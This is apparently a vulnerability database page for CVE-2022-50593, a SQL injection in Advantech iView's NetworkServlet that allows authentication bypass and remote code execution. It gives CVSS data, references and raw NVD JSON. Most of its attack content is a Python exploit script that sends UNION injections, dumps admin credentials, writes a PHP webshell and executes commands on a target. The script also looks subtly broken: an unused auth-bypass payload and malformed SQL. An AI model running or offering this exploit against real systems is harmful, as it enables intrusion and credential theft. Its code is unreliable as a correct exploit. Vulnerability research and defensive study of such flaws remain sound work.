Security Vulnerability Report
中文
CVE-2022-50593 CVSS 9.8 CRITICAL

CVE-2022-50593

Published: 2025-11-06 20:15:38
Last Modified: 2025-12-08 16:12:56

Description

Advantech iView versions prior to v5.7.04 build 6425 contain a vulnerability within the SNMP management tool that allows for remote attackers to bypass authentication checks and reach a SQL injection vulnerability within the ‘search_term’ parameter to the ‘NetworkServlet’ endpoint. Successful exploitation allows for remote code execution with administrator privileges.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:advantech:iview:*:*:*:*:*:*:*:* - VULNERABLE
Advantech iView < v5.7.04 build 6425

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2022-50593 PoC - Advantech iView SQL Injection RCE # Target: Advantech iView < v5.7.04 build 6425 # Vulnerability: SQL Injection in search_term parameter (NetworkServlet) # Impact: Authentication bypass + Remote Code Execution def exploit_cve_2022_50593(target_url): """ Exploitation steps: 1. Bypass authentication via SNMP management tool 2. Inject malicious SQL via search_term parameter 3. Execute OS commands with administrator privileges """ try: # Step 1: Authentication bypass auth_bypass_payload = { 'username': "admin' OR '1'='1", 'password': 'any' } # Step 2: SQL Injection via search_term parameter sql_injection_payloads = [ "' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM admin_users WHERE '1'='1", "' UNION SELECT username,password,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM admin_users--", "' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL INTO OUTFILE '/var/www/html/shell.php' LINES TERMINATED BY '<?php system($_GET["cmd"]); ?>' WHERE '1'='1" ] # Target endpoint endpoint = f"{target_url}/NetworkServlet" # Execute SQL injection for payload in sql_injection_payloads: params = { 'search_term': payload } print(f"[*] Sending payload: {payload}") response = requests.get(endpoint, params=params, timeout=10) if response.status_code == 200: print(f"[+] Payload sent successfully") print(f"[*] Response length: {len(response.text)}") # Step 3: RCE via uploaded webshell webshell_url = f"{target_url}/shell.php" cmd = 'whoami' # Change to any command rce_response = requests.get(f"{webshell_url}?cmd={cmd}", timeout=10) if rce_response.status_code == 200: print(f"[+] RCE Successful!") print(f"[*] Command output: {rce_response.text}") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2022-50593.py <target_url>") print("Example: python cve-2022-50593.py http://vulnerable-server:8080") sys.exit(1) target = sys.argv[1] print(f"[*] Exploiting CVE-2022-50593 on {target}") exploit_cve_2022_50593(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2022-50593", "sourceIdentifier": "[email protected]", "published": "2025-11-06T20:15:37.557", "lastModified": "2025-12-08T16:12:55.903", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Advantech iView versions prior to v5.7.04 build 6425 contain a vulnerability within the SNMP management tool that allows for remote attackers to bypass authentication checks and reach a SQL injection vulnerability within the ‘search_term’ parameter to the ‘NetworkServlet’ endpoint. Successful exploitation allows for remote code execution with administrator privileges."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}, {"lang": "en", "value": "CWE-306"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:advantech:iview:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.7.04.6425", "matchCriteriaId": "8F719357-8063-4CD2-8275-57FC01CB52A1"}]}]}], "references": [{"url": "https://blog.exodusintel.com/2022/03/01/advantech-iview-search_term-parameter-sql-injection-remote-code-execution-vulnerability/", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.advantech.tw/support/details/firmware?id=1-HIPU-183", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/advantech-iview-searchterm-parameter-sqli-rce", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}